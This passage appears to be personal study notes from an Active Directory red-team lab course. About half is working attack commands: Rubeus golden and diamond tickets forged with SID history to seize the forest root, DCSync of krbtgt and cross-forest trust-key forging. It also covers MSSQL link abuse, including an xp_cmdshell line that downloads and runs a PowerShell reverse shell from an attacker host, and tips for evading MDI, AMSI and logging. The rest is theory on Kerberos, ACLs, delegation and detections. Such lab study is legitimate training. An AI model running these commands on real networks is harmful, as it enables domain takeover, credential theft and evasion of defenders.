C:\AD\Tools\Rubeus.exe asktgs /service:CIFS/techcorpdc.TECHCORP.LOCAL /dc:techcorp-dc.TECHCORP.LOCAL /ptt /ticket:
```

***

### Child to Forest Root — krbtgt

We will abuse sIDHistory once again:

```powershell
Rubeus.exe /user:Administrator /id:500 /domain:us.techcorp.local /sid:S-1-5-21-210670787- 2521448726-163245708 /groups:513 /sids:S-1-5-21- 2781415573-3701854478-2406986946-519 /aes256:5E3D2096ABB01469A3B0350962B0C65CEDBBC611C5EAC6F3 EF6FC1FFA58CACD5 /ptt
```

In the above command, the mimikatz option `/sids` is forcefully setting the sIDHistory for the Enterprise Admin group for us.techcorp.local — that is the Forest Enterprise Admin Group.

**We can now access techcorp-dc as Administrator:**

```powershell
ls \\techcorp-dc.techcorp.local\C$
Enter-PSSession techcorp-dc.techcorp.local
```

**Avoid suspicious logs and bypass MDI by using Domain Controller identity:**

```powershell
Rubeus.exe golden /user:us-dc$ /id:1000 /domain:us.techcorp.local /sid:S-1-5-21-210670787-2521448726-163245708 /groups:513 /sids:S-1- 5-21-2781415573-3701854478-2406986946-516,S-1-5-9 /aes256:5E3D2096ABB01469A3B0350962B0C65CEDBBC611C5EAC6F3EF6FC1FFA58C ACD5 /dc:us-dc.us.techcorp.local /ptt
```

Reference SIDs:

* `S-1-5-21-2578538781-2508153159-3419410681-516` — Domain Controllers
* `S-1-5-9` — Enterprise Domain Controllers

```powershell
SafetyKatz.exe '"lsadump::dcsync /user:techcorp\krbtgt /domain:techcorp.local"'
```

**Diamond ticket with SID History will avoid suspicious logs on child DC and parent DC. Also bypasses MDI:**

```powershell
Rubeus.exe diamond /krbkey:5E3D2096ABB01469A3B0350962B0C65CEDBBC611C5EAC6F3EF6FC1FFA58C ACD5 /tgtdeleg /enctype:aes /ticketuser:us-dc$ /domain:us.techcorp.local /dc:us-dc.us.techcorp.local /ticketuserid:1000 /sids:S-1-5-21-2781415573-3701854478-2406986946- 516,S-1-5-9 /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
SafetyKatz.exe '"lsadump::dcsync /user:techcorp\krbtgt /domain:techcorp.local"'
```

**Request TGS across trust using PowerShell:**

```powershell
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList MSSQLSvc/eu-file.eu.local@eu.local
```

Note that TGT Delegation is disabled by default and must be explicitly enabled across a trust for the trusted (target) forest. You'll need it for **Cross Forest Attacks - Unconstrained Delegation**.

**To enumerate if TGTDelegation is enabled across a forest trust, run the below command from a DC:**

```cmd
netdom trust trustingforest /domain:trustedforest /EnableTgtDelegation
```

In the lab, this is to be run on usvendor-dc:

```cmd
netdom trust usvendor.local /domain:techcorp.local /EnableTgtDelegation
```

The PowerShell cmdlets of the ADModule seem to have a bug — the below command shows TGTDelegation set to False:

```powershell
Get-ADTrust -server usvendor.local -Filter *
```

***

### Cross Forest Attacks — Trust Key

**From eu-dc, create a TGT with SIDHistory of EUAdmins group:**

```powershell
SafetyKatz.exe '"kerberos::golden /user:Administrator /domain:eu.local /sid:S-1-5-21-3657428294-2017276338- 1274645009 /rc4:799a0ae7e6ce96369aa7f1e9da25175a /service:krbtgt /target:euvendor.local /sids:S-1-5-21- 4066061358-3942393892-617142613-1103 /ticket:C:\Users\Public\euvendornet.kirbi"'
```

**Request a TGS:**

```powershell
.\asktgs.exe C:\Users\Public\euvendornet.kirbi HTTP/euvendornet.euvendor.local
```

**Inject that into current session:**

```powershell
.\kirbikator.exe lsa HTTP.euvendor-net.euvendor.local.kirbi
# OR
C:\Users\Public\Rubeus.exe asktgs /ticket:C:\Users\Public\euvendornet.kirbi /service:HTTP/euvendornet.euvendor.local /dc:euvendor-dc.euvendor.local /ptt
```

**Access the euvendor-net machine using PSRemoting:**

```powershell
Invoke-Command -ScriptBlock{whoami} -ComputerName euvendornet.euvendor.local -Authentication NegotiateWithImplicitCredential
```

***

### Trust Abuse — MSSQL Servers

**Discovery (SPN Scanning):**

```powershell
Get-SQLInstanceDomain
```

**Check accessibility:**

```powershell
Get-SQLConnectionTestThreaded
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
```

**Gather information:**

```powershell
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
```

**Look for links to remote servers:**

```powershell
Get-SQLServerLink -Instance us-mssql.us.techcorp.local -Verbose
```

**Manually enumerate linked servers:**

```sql
select * from master..sysservers
```

**Openquery function can be used to run queries on a linked database:**

```sql
select * from openquery("192.168.23.25",'select * from master..sysservers')
```

**Openquery queries can be chained to access links within links (nested links):**

```sql
select * from openquery("192.168.23.25 ",'select * from openquery("db-sqlsrv",''select @@version as version'')')
```

**On the target server, either xp\_cmdshell should be already enabled; or if rpcout is enabled (disabled by default), xp\_cmdshell can be enabled using:**

```sql
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "db-sqlsrv"
```

**From the initial SQL server, OS commands can be executed using nested link queries:**

```sql
select * from openquery("192.168.23.25",'select * from openquery("db-sqlsrv",''select @@version as version;exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''''http://192.168.100.X/I nvoke-PowerShellTcp.ps1'''')"'')')
```

**Crawling links to remote servers:**

```powershell
Get-SQLServerLinkCrawl -Instance usmssql.us.techcorp.local
```

**Abusing links to remote servers** (without `-QueryTarget` the command tries to use xp\_cmdshell on every link of the chain):

```powershell
Get-SQLServerLinkCrawl -Instance usmssql.us.techcorp.local -Query 'exec master..xp_cmdshell ''whoami''' -QueryTarget db-sqlsrv
```

> Tip: use the HeidiSQL tool.

***

### Cross Forest Attacks — Foreign Security Principals

**Enumerate FSPs — PowerView:**

```powershell
Find-ForeignGroup -Verbose
Find-ForeignUser -Verbose
```

**Using ActiveDirectory module:**

```powershell
Get-ADObject -Filter {objectClass -eq "foreignSecurityPrincipal"}
```

***

### Abusing PAM Trust

**Enumerate if there is a PAM trust:**

```powershell
Invoke-Command -ScriptBlock {Get-ADTrust -Filter {(ForestTransitive -eq $True) -and (SIDFilteringQuarantined -eq $False)}} -Session $bastiondc
```

**Check which users are members of the Shadow Principals:**

```powershell
Invoke-Command -ScriptBlock {Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (GetADRootDSE).configurationNamingContext) -Filter * -Properties * | select Name,member,msDS-ShadowPrincipalSid | fl} -Session $bastiondc
```

***

### Commands I Worked On

**This query is important:**

```powershell
Get-NetLocalGroupMember -ComputerName WINTERFELL -GroupName Administrators | Where-Object {!$_.IsGroup} | ForEach-Object { $u=$_.MemberName; [PSCustomObject]@{User=$u;Groups=(Get-NetGroup -UserName $u | Select-Object -ExpandProperty Name);AdminOn=(Get-NetComputer | Get-NetLocalGroupMember | Where-Object {$_.MemberName -eq $u} | ForEach-Object {"$($_.ComputerName)($($_.GroupName))"})}}
```

```powershell
Get-NetLocalGroupMember -ComputerName WINTERFELL -GroupName Administrators | Where-Object {!$_.IsGroup} | ForEach-Object { $u=$_.MemberName; [PSCustomObject]@{User=$u;Groups=((Get-NetGroup -UserName $u | Select-Object -ExpandProperty Name) -join ',');AdminOn=(Get-NetComputer | Get-NetLocalGroupMember | Where-Object {$_.MemberName -eq $u} | ForEach-Object {"$($_.ComputerName)($($_.GroupName))"} | Select-Object -Unique)}} | Format-Table -AutoSize
```

**Get all sam account names:**

```powershell
Get-DomainUser -Properties samaccountname | Select-Object -ExpandProperty samaccountname
```

**Find disabled accounts:**

```powershell
Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=2)" | Select-Object samaccountname
```

```powershell
Get-DomainUser | Select-Object samaccountname,displayname,lastlogon
```

**Get all the domain admins:**

```powershell
Get-DomainGroupMember -Identity "Domain Admins" -Recurse | Select-Object MemberName, MemberDN
```

**Search for a particular string in users' attributes — password in description:**

```powershell
Get-DomainUser -LDAPFilter "Description=*pass*" | Select name,Description
```

**Get when the password was last set (and the account related to it):**

```powershell
Get-DomainUser -Properties pwdlastset, samaccountname
Get-DomainUser -Properties pwdlastset, samaccountname
```

**This command is important — hunt for domain admin users, then get the users and hunt for the other groups they are in:**

```powershell
Get-DomainGroupMember -Identity "Domain Admins" | Where-Object { $_.MemberObjectClass -eq 'user' } | ForEach-Object { $user = Get-DomainUser -Identity $_.MemberName -Properties samaccountname,memberof,lastlogon,lastlogoff,pwdlastset,logoncount,serviceprincipalname,useraccountcontrol; $groups = Get-DomainGroup -MemberIdentity $user.samaccountname | Select-Object -ExpandProperty Name; [PSCustomObject]@{ User=$user.samaccountname; Groups=$groups -join ','; LastLogon=if($user.lastlogon){$user.lastlogon}else{'Never'}; PasswordLastSet=if($user.pwdlastset){$user.pwdlastset}else{'Never'}; SPNs=$user.serviceprincipalname; AccountStatus=if($user.useraccountcontrol -band 2){'Disabled'}else{'Enabled'} } } | Format-Table -AutoSize
```

**Computers with logon count:**

```powershell
Get-DomainComputer -Properties name,logoncount | Select-Object name,logoncount
```

**Get the group membership for a user:**

```powershell
Get-DomainGroup -UserName student
```

**List all Kerberos policy:**

```powershell
(Get-DomainPolicy).KerberosPolicy
```

```powershell
Get-DomainGPO | Select displayname, cn, iscriticalsystemobject
Get-DomainGPOLocalGroup
```

**Enumerate the SMB shares:**

```powershell
net view \\castelblack.north.sevenkingdoms.local /all
Get-SmbShare -CimSession castelblack.north.sevenkingdoms.local | Select-Object Name, Path, Description
# Detailed share info (including hidden shares)
Get-WmiObject -Class Win32_Share -ComputerName castelblack.essos.local | Select-Object Name, Path, Description, Type
```

**List the shares you found:**

```powershell
dir \\castelblack.north.sevenkingdoms.local\public
## Browse Shares in File Explorer (GUI)
\\castelblack.north.sevenkingdoms.local\public
## from PS
Get-ChildItem -Path "\\castelblack.north.sevenkingdoms.local\public"
```

***

***

***

## Part 2 — Science & Theory

### PowerShell Detections

\<figure>\<img src="/files/D0rCteRBStvw9mWz4G4t" alt="">\<figcaption>\</figcaption>\</figure>

* **System-wide transcription** logs *all PowerShell input/output* across all sessions to a text file for auditing.
* **Script Block Logging** records *all code blocks executed*, including dynamically generated or obfuscated code, to the event log.
* **AMSI** inspects *script content at runtime* for malware detection before execution, even if obfuscated or in-memory.
* **Constrained Language Mode (CLM)** restricts *PowerShell functionality* (e.g., .NET access) to reduce attack surface, often enforced by AppLocker or WDAC.

**Execution Policy** — a safety feature that determines how PowerShell scripts (.ps1 files) can be run on a system. It helps prevent malicious scripts from executing unintentionally.

**Invisi-Shell** for bypassing the security controls in PowerShell: <https://github.com/OmerYa/Invisi-Shell>

* The tool hooks the .NET assemblies (`System.Management.Automation.dll` and `System.Core.dll`) to bypass logging.
* It uses a CLR Profiler API to perform the hook.
* "A common language runtime (CLR) profiler is a dynamic link library (DLL) that consists of functions that receive messages from, and send messages to, the CLR by using the profiling API. The profiler DLL is loaded by the CLR at run time."

**Bypassing AV Signatures for PowerShell:**

* We can always load scripts in memory and avoid detection using AMSI bypass.
* How do we bypass signature-based detection of on-disk PowerShell scripts by Windows Defender?
* We can use the AMSITrigger (<https://github.com/RythmStick/AMSITrigger>) tool to identify the exact part of a script that is detected by AMSI.
* We can use DefenderCheck (<https://github.com/t3hbb/DefenderCheck>) from a binary / file that Windows Defender may flag. Simply provide the path to the script file to scan it:

```
AmsiTrigger_x64.exe -i C:\AD\Tools\Invoke-PowerShellTcp_Detected.ps1
DefenderCheck.exe PowerUp.ps1
```

* For full obfuscation of PowerShell scripts, see Invoke-Obfuscation (<https://github.com/danielbohannon/Invoke-Obfuscation>). That is used for obfuscating the AMSI bypass in the course!

***

### Domain Trusts & Trust Types

| Trust Type         | Description                                                                                         |
| ------------------ | --------------------------------------------------------------------------------------------------- |
| **One-Way**        | Only DomainA trusts DomainB (not vice versa)                                                        |
| **Two-Way**        | Both domains trust each other (bidirectional)                                                       |
| **Transitive**     | Trust extends to other trusted domains (e.g., DomainA → DomainB → DomainC = DomainA trusts DomainC) |
| **Non-Transitive** | Trust is limited to the two domains only                                                            |
| **Forest Trust**   | Trust between two AD forests                                                                        |
| **External Trust** | Trust with a non-AD domain (e.g., NT4 domain)                                                       |
| **Shortcut Trust** | Direct trust between two domains in a complex forest (speeds up authentication)                     |

***

### OUs

Organizational Units (OUs) are **container objects** in Active Directory used to **organize and manage users, computers, groups, and other AD objects** in a hierarchical structure. They function like folders in a filesystem, providing logical grouping for easier administration.

#### Key Purposes of OUs

1. **Delegated Administration** — Assign different IT teams control over specific OUs (e.g., "Finance OU" managed by Finance IT).
2. **Group Policy (GPO) Application** — Apply policies to specific OUs (e.g., enforce security settings for "Engineering" computers).
3. **Logical Organization** — Mirror company structure (e.g., `OU=Sales, OU=Europe, DC=corp, DC=com`).
4. **Security Boundaries** — Restrict access to sensitive OUs (e.g., "Executives" OU with stricter controls).

**OU Structure Example:**

```
DC=corp,DC=com
├── OU=Locations
│   ├── OU=Europe
│   └── OU=Asia
├── OU=Departments
│   ├── OU=Finance
│   ├── OU=HR
│   └── OU=IT
└── OU=Workstations
    ├── OU=Laptops
    └── OU=Desktops
```

**ACL of "Finance OU":**

```
├── DACL (Permissions)
│   ├── Allow "Finance Group" → Read/Write
│   └── Deny "Temp Staff" → Modify
└── SACL (Auditing)
    ├── Audit "Everyone" → Failed access attempts
    └── Audit "Admins" → Successful changes
```

***

### GPOs

Group Policy Objects (GPOs) are **centralized configuration management tools** in Active Directory that enforce settings across users and computers in a Windows domain. They allow administrators to control security, software, scripts, and system behaviors across an entire network from a single console.

#### How GPOs Work

1. **Created in Group Policy Management Console (GPMC)**
2. **Linked to Sites, Domains, or OUs**
3. **Processed in this order:** Local GPO → Site → Domain → OU (Parent to Child)
4. **Refresh Automatically** (Every 90-120 mins + at reboot)

***

### ACL vs Security Descriptor

#### 1. Security Descriptor

A **security descriptor** is a data structure that **defines the overall security of a Windows object** (like a file, folder, registry key, or AD object). It contains several fields:

* **Owner SID** – who owns the object.
* **Group SID** – (rarely used).
* **DACL** (Discretionary ACL) – defines who can access the object and what they can do.
* **SACL** (System ACL) – defines what access attempts should be audited.

> Think of a **security descriptor as the full security envelope** around an object.

#### 2. Access Control List (ACL)

An **ACL** is **part of** the security descriptor. It's a **list of permissions (Access Control Entries / ACEs)**. There are two types:

* **DACL (Discretionary ACL):** Who is allowed or denied access.
* **SACL (System ACL):** What actions to log in the Security Event Log.

Each **ACE (Access Control Entry)** in a DACL contains:

* A **SID** (user or group)
* A list of **allowed or denied permissions**

> **The ACL is the part of the security descriptor that controls access.**

**Analogy — a security badge:**

* The **security descriptor** is the whole badge (owner info, expiration date, access rules)
* The **ACL** is the **list of rooms** on the badge you're allowed into
  * Each room (ACE) says **what you're allowed to do** (read, write, delete)

***

### ACLs

Active Directory Access Control Lists (ACLs) are **security permissions** that determine **who can access and modify objects** (users, groups, computers, OUs, GPOs) in an AD environment. They are the backbone of AD security.

**How ACLs work:**

* Every AD object has a **Discretionary Access Control List (DACL)** defining permissions.
* Each entry in the DACL is an **Access Control Entry (ACE)** specifying:
  * **Who** (user/group)
  * **What** (permissions like Read/Write)
  * **How** (Allow/Deny)

**The ACLs are protecting:**

* User accounts
* Groups
* Organizational Units (OUs)
* Group Policy Objects (GPOs)
* Domain controllers

Please note that ACLs work based on Access Tokens (security context of a process – identity and privs of user) and Security Descriptors (SID of the owner, Discretionary ACL (DACL) and System ACL (SACL)). So ACL is tokens from the user and descriptor from the object that you want to access:

* **DACL** – Defines the permissions trustees (a user or group) have on an object.
* **SACL** – Logs success and failure audit messages when an object is accessed.

\<figure>\<img src="/files/b6a8I1CbDmeO8CGMoieh" alt="">\<figcaption>\</figcaption>\</figure> \<figure>\<img src="/files/i0EZNTzFL3zka7Grfs0W" alt="">\<figcaption>\</figcaption>\</figure>

***

### Global Catalog

The **Global Catalog (GC)** is a distributed data repository in Active Directory that provides **search functionality across all domains in a forest** without requiring queries to individual domain controllers.

\<figure>\<img src="/files/WuEJ9IcQuhhOROuY0pQI" alt="">\<figcaption>\</figcaption>\</figure>

***

### Do You Need Admin Privileges for Rubeus?

**Yes and No** – It depends on the attack technique you're using.

#### 1. Attacks Requiring Admin Rights

| Technique                      | Admin Needed? | Why?                                            |
| ------------------------------ | ------------- | ----------------------------------------------- |
| **Dump LSASS (sekurlsa)**      | ✅ Yes         | Needs **SeDebugPrivilege** (usually admin-only) |
| **Kerberos Ticket Extraction** | ✅ Yes         | Requires access to **LSASS memory**             |
| **Silver Ticket Generation**   | ✅ Yes         | Needs **local machine account password hash**   |

#### 2. Attacks That Work Without Admin

| Technique                 | Admin Needed? | Why?                                     |
| ------------------------- | ------------- | ---------------------------------------- |
| **AS-REP Roasting**       | ❌ No          | Only needs **domain user** credentials   |
| **Kerberoasting**         | ❌ No          | Requests TGS tickets as any user         |
| **Pass-the-Ticket (PtT)** | ❌ No          | Can use stolen tickets without elevation |
| **Overpass-the-Hash**     | ❌ No          | Upgrades a TGT without admin rights      |

***

### PowerShell Remoting

PowerShell Remoting (**PSRemoting**) is a **built-in**, **lightning-fast**, and **stealthier** way to execute commands remotely on Windows systems compared to traditional tools like **PsExec**. Here's why it's considered **"PsExec on steroids"**.

#### 1. How PSRemoting Works

* **Protocol:** Uses **WinRM (Windows Remote Management)**, Microsoft's implementation of **WS-Management** (SOAP-based protocol over HTTP/HTTPS).
* **Ports:**
  * **HTTP** → `5985` (Default for non-encrypted traffic)
  * **HTTPS** → `5986` (Encrypted, recommended for security)
* **Authentication:** Supports **Kerberos (default)**, **NTLM**, and **CredSSP** (for multi-hop remoting).

#### 2. Why PSRemoting is "PsExec on Steroids"

| Feature                 | PsExec                         | PSRemoting (WinRM)                                                                     | Why PSRemoting Wins                |
| ----------------------- | ------------------------------ | -------------------------------------------------------------------------------------- | ---------------------------------- |
| **Speed**               | Slow (SMB-based)               | **Blazing fast** (SOAP/WS-Man)                                                         | Processes commands in milliseconds |
| **Stealth**             | Noisy (creates services)       | **Silent** (no new processes)                                                          | Harder for EDR to detect           |
| **Encryption**          | Cleartext (unless SMB signing) | **HTTPS (5986) by default**                                                            | Secure out of the box              |
| **Built-in**            | Requires download              | **Native to Windows**                                                                  | No need to drop files              |
| **Session Persistence** | Temporary sessions             | **Reusable sessions** (`Enter-PSSession`)                                              | Saves connection state             |
| **Scalability**         | One-off commands               | **Mass parallel execution** (`Invoke-Command -ComputerName (Get-Content servers.txt)`) | Manage 1000s of systems at once    |

#### 3. Key Advantages Over PsExec

**No File Dropping Required**

* PsExec: Must upload `PsExec.exe` to the target.
* **PSRemoting:** Uses **native Windows components** (`winrm.dll`, `pwrshplugin.dll`).

**Avoids Service Creation (Stealthier)**

* PsExec: Creates a **temporary service** (`PSEXESVC`), triggering EDR alerts.
* **PSRemoting:** Runs commands **in-memory** via WinRM.

**Supports Kerberos Delegation** — Enables **double-hop** authentication (accessing network resources from the remote session).

**Logs Less by Default**

* PsExec: Logs **Event ID 5145** (network share access) and **7045** (service creation).
* **PSRemoting:** Only logs **Event ID 4688** (process creation) if explicitly enabled.

***

### Kerberos Authentication (Step by Step)

#### 1. Authentication Request (AS-REQ)

* The **client** sends a request to the **KDC** (Domain Controller): *"I'm `student@north.sevenkingdoms.local`. Let me in!"*
* The **KDC** checks Active Directory (AD) to verify the user.

#### 2. Ticket-Granting Ticket (TGT) Issued (AS-REP)

* If valid, the **KDC** sends back:
  * A **TGT (Ticket-Granting Ticket)** encrypted with the **KDC's secret key**.
  * A **session key** (for future requests).
* The **client can't read the TGT** (only the KDC can decrypt it).

#### 3. Requesting a Service Ticket (TGS-REQ)

* The **client** asks the **KDC** for access to a **specific service** (e.g., `student.north.sevenkingdoms.local`):
  * Sends the **TGT** + a request for the service.
  * Proves identity using the **session key**.

#### 4. Service Ticket Issued (TGS-REP)

* The **KDC** verifies the TGT and sends:
  * A **service ticket** (encrypted with the **service's secret key**).
  * A **new session key** for client-server communication.

#### 5. Accessing the Service (AP-REQ)

* The **client** sends the **service ticket** to the server (`student.north.sevenkingdoms.local`).
* The **server decrypts it** (using its own secret key) and grants access.

\<figure>\<img src="/files/3fGdfTGixvImlEpw1PPr" alt="">\<figcaption>\</figcaption>\</figure> \<figure>\<img src="/files/P93iiPbAWGmSKhtoFDfx" alt="">\<figcaption>\</figcaption>\</figure>

***

### Kerberos vs KRBTGT

**KRBTGT** and **Kerberos** are related but different concepts in Active Directory.

#### Kerberos

* **What it is:** The **authentication protocol** used by Windows domains
* **Purpose:** Provides secure authentication without sending passwords over the network
* **Function:** The entire system that handles ticket granting, session keys, etc.
* **Analogy:** The **entire banking system**

#### KRBTGT

* **What it is:** A **specific user account** in every AD domain
* **Purpose:** Used to **encrypt/sign Kerberos tickets** (TGTs)
* **Function:** Its password hash is the **master key** for the domain's Kerberos tickets
* **Analogy:** The **master key** that signs all bank documents

#### Key Differences

|           | Kerberos                      | KRBTGT                          |
| --------- | ----------------------------- | ------------------------------- |
| **Type**  | Protocol/System               | User Account                    |
| **Role**  | Authentication framework      | Ticket encryption key           |
| **Scope** | Entire authentication process | Specific cryptographic function |

#### How They Work Together

1. **Kerberos** is the protocol that handles authentication.
2. **KRBTGT account** provides the cryptographic key that makes Kerberos secure.
3. When you get a TGT (Ticket Granting Ticket), it's **encrypted with KRBTGT's hash**.
4. The Domain Controller uses KRBTGT's key to validate all TGTs.

#### Simple Breakdown

* **Kerberos** = The **entire authentication process**
* **KRBTGT** = The **master password** that protects all authentication tickets

**If KRBTGT gets compromised**, attackers can create their own valid Kerberos tickets (Golden Tickets) and access anything in the domain.

***

### Kerberoasting (Theory)

**Kerberoasting** is a **privilege escalation technique** that exploits weaknesses in **Kerberos authentication** to crack **service account passwords** in Active Directory (AD). Attackers target **Service Principal Names (SPNs)** to extract **Ticket Granting Service (TGS) tickets**, which are encrypted with the service account's password hash. These hashes can then be **offline-cracked** to reveal plaintext passwords.

Kerberoasting is an attack that abuses the Kerberos protocol to harvest password hashes for Active Directory user accounts with servicePrincipalName (SPN) values — i.e., service accounts. A user is allowed to request a ticket-granting service (TGS) ticket for any SPN, and parts of the TGS may be encrypted with RC4 using the password hash of the service account that is assigned the requested SPN as the key. Therefore, an adversary who is able to steal TGS tickets (either from memory or by capturing them by sniffing network traffic) can extract the service account's password hash and attempt an offline brute force attack to obtain the plaintext password.

**Detect:**

\<figure>\<img src="/files/TMEiuFFRLxi3YGglDKbj" alt="">\<figcaption>\</figcaption>\</figure>

**Mitigate:**

\<figure>\<img src="/files/mAtJJFBfJ1lLUPJrzGK8" alt="">\<figcaption>\</figcaption>\</figure>

***

### Targeted Kerberoasting (Theory)

This attack is a **privilege escalation technique** where an attacker **forces a high-value account to become "Kerberoastable"** by abusing **SPN (Service Principal Name) manipulation**.

* If we have sufficient rights (GenericAll/GenericWrite), a target user's SPN can be set to anything (unique in the domain).
* We can then request a TGS without special privileges. The TGS can then be "Kerberoasted".

**A. Attacker Requirements** — the attacker must control an account with:

* **`GenericAll`/`GenericWrite` permissions** over another account (to add a fake SPN). *(Example: A low-privilege user with write access to a Domain Admin's account.)*
* **Membership in the `Account Operators` group** (can create/modify accounts in the domain).

**B. Why It Works**

* Kerberos requires **SPNs** for service accounts (e.g., `HTTP/web-server`, `MSSQLSvc/db-server`).
* If an attacker **adds a fake SPN** to a non-service account (e.g., a regular user), that account **becomes "Kerberoastable"** (even if it wasn't before). <https://www.thehacker.recipes/ad/movement/builtins/security-groups>

\<figure>\<img src="/files/ryz8YRF5Wdc2jMsr8jop">\<figcaption>\</figcaption>\</figure>

**To run the attack you've got two possible scenarios:**

1. **Add a Fake SPN to the Target Account** → **Request a TGS Ticket for the Account** → **Crack the Hash Offline**
2. **Attacker is in the `Account Operators` Group**

***

### Account Operators Group

\<figure>\<img src="/files/fAfok4A44PgNs0TTLbEL" alt="">\<figcaption>\</figcaption>\</figure>

***

### LAPS (Theory)

Reference labs:

* [LAPS Vulnerability Assessment](https://www.sentinelone.com/blog/laps-vulnerability-assessment/)
* [Microsoft LAPS Security & Active Directory LAPS Configuration Recon – Active Directory Security](https://adsecurity.org/?p=3164)
* [Microsoft Local Administrator Password Solution (LAPS) – Active Directory Security](https://adsecurity.org/?p=1790)

**The "Shared Local Admin Password" Problem:**

* Many organizations use the **same local admin password** across all workstations/servers.
* If an attacker compromises one machine, they can **move laterally** to others using the same password.
* Tools like **Mimikatz** easily extract these passwords from memory.

**How LAPS Fixes This** — LAPS provides **two key security mechanisms**:

1. **Randomized Passwords** — Each computer gets a **unique, complex local admin password** (e.g., `xQ9#kLm2!pR5`). Passwords **auto-rotate** at a set interval (default: 30 days).
2. **Centralized Storage in Active Directory** — Passwords are stored in **AD attributes** (`ms-Mcs-AdmPwd` and `ms-Mcs-AdmPwdExpirationTime`). Only **authorized users/groups** can read these passwords.

\<figure>\<img src="/files/LPnaCChMRWkktKnypuOi" alt="">\<figcaption>\</figcaption>\</figure>

***

### OverPass-The-Hash (Theory)

In an overpass-the-hash attack, an adversary leverages the NTLM hash of a user account to obtain a Kerberos ticket that can be used to access network resources. This technique is handy if you are not able to obtain the cleartext password for an account but require Kerberos authentication to reach your destination. This attack can be used to perform actions on local or remote servers.

The attack works in two simple steps: steal creds by dumping them with mimikatz. Instead of cracking the hash, the attacker **uses it to request a Kerberos ticket** with Rubeus.

\<figure>\<img src="/files/8m3LzHoKDMoMuAgDwRdz" alt="">\<figcaption>\</figcaption>\</figure>

***

### DCSync (Theory)

* A **replication abuse** technique where an attacker mimics a Domain Controller to request password data via the **Directory Replication Service (DRS)** protocol.
* Allows dumping **password hashes** (NTLM/Kerberos) of **all domain users**, including **Domain Admins**.
* First introduced by **Mimikatz** (`lsadump::dcsync`).

**Prerequisites for the Attack** — the attacker must control an account with:

* **Replicating Directory Changes** (Minimum)
* **Replicating Directory Changes All** (Full sync, including secrets)
* Default groups with these rights: **Domain Admins**, **Enterprise Admins**, **Administrators**, **Account Operators** (limited)

DCSync is an attack that allows an adversary to simulate the behavior of a domain controller (DC) and retrieve password data via domain replication. The classic use for DCSync is as a precursor to a [Golden Ticket](https://attack.stealthbits.com/how-golden-ticket-attack-works) attack, as it can be used to retrieve the KRBTGT hash.

Specifically, DCSync is a command in the open-source [Mimikatz](https://github.com/gentilkiwi/mimikatz) tool. It uses commands in the [Directory Replication Service Remote Protocol (MS-DRSR)](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/f977faaa-673e-4f66-b9bf-48c640241d47) to simulate the behavior of a domain controller and ask other domain controllers to replicate information — taking advantage of valid and necessary functions of [Active Directory](https://www.netwrix.com/what_is_active_directory_ebook.html) that cannot be turned off or disabled.

\<figure>\<img src="/files/xbZyCdvYAOibGCkcAONR" alt="">\<figcaption>\</figcaption>\</figure>

***

### gMSA (Theory)

A **Group Managed Service Account** (gMSA) is an AD object used to securely run services with automatic password management — the passwords are **not stored in plaintext**, but rather **calculated on-demand** using secrets in Active Directory.

**What is a gMSA?**

* **Purpose:** gMSAs are AD-managed accounts for services (e.g., IIS, SQL) with:
  * **Automatic password rotation** (240+ characters, changed every 30 days).
  * **Restricted delegation** (no interactive logon rights).
* **Key Attribute:** `msDS-ManagedPassword` (stores the password blob in AD).

***

### Unconstrained Delegation (Theory)

**What is Unconstrained Delegation?** A feature that allows a service (e.g., IIS, SQL) to **impersonate users** to **any other service** in the domain **without restrictions**.

* The service gets a **copy of the user's TGT** (Ticket Granting Ticket), allowing it to request service tickets **on behalf of the user** to **any service in the domain**.

**Another meaning:** Unconstrained Delegation allows a **service** (typically running on a computer or service account) to **impersonate users** and access other services on their behalf — *without limitation*. This means that **any user who authenticates to that service** (like a file share or web server) can have their **Kerberos ticket (TGT)** stored in memory. The service can then **use that TGT** to impersonate the user to access **any other service** in the domain.

> *\[Screenshots: Pasted image 20250528183723.png · 20250528184307.png · 20250528202112.png]*

**How It Works:**

1. **User Authentication** — A user authenticates to **Service A** (e.g., a web server). The KDC issues a **TGT** and a **service ticket (TGS)** for Service A.
2. **Service A Requests Forwardable TGT** — If Service A is configured for **unconstrained delegation**, it requests a **forwardable TGT** for the user. The KDC sends a **copy of the user's TGT** to Service A.
3. **Service A Impersonates the User** — Service A can now use the user's TGT to request **service tickets (TGS)** for **any other service** in the domain (e.g., SQL, Domain Controller).

> *\[Screenshot: Pasted image 20250530154200.png]*

**Relevant Flags for Delegation** — inside the `userAccountControl` attribute:

| Flag (Decimal) | Hex         | Name                             | Description                                                   |
| -------------- | ----------- | -------------------------------- | ------------------------------------------------------------- |
| **524288**     | `0x80000`   | `TRUSTED_FOR_DELEGATION`         | Indicates **Unconstrained Delegation** is enabled.            |
| **16777216**   | `0x1000000` | `TRUSTED_TO_AUTH_FOR_DELEGATION` | Used for **Constrained Delegation** with protocol transition. |

> So, if `userAccountControl` includes `524288`, the system is trusted for **Unconstrained Delegation**.

***

### PrinterBug

**What is the PrinterBug?** It is a method that triggers a **target domain controller** (or any domain-joined system) to **connect back to another system over SMB** using its **machine account credentials** via **NTLM authentication**. This is particularly useful for **relay attacks**, like:

* **NTLM Relay to LDAP** ➜ Add computers, ACL abuse
* **NTLM Relay to HTTP** ➜ Token impersonation
* **Capturing NetNTLMv2 Hashes** ➜ Cracking or relay

**Core Idea:**

* Windows machines with the **Print Spooler service** running accept **printer change notification requests**.
* When a remote system asks for a notification, the target tries to contact that system.
* This generates an **authenticated SMB session** from the target to the attacker's listener.

**What Does It Exploit?** It abuses a legitimate call to `RpcRemoteFindFirstPrinterChangeNotificationEx`. This is part of the **MS-RPRN RPC interface** on port **RPC/135**, used for printer operations.

**Attack Flow — Step by Step:** Trigger a DC (or target) to send **NTLM authentication** to the attacker's machine.

1. **Attacker runs a listener** (e.g., `ntlmrelayx`, `Responder`, `Impacket smbserver`). This machine is ready to **receive and relay NTLM auth**.
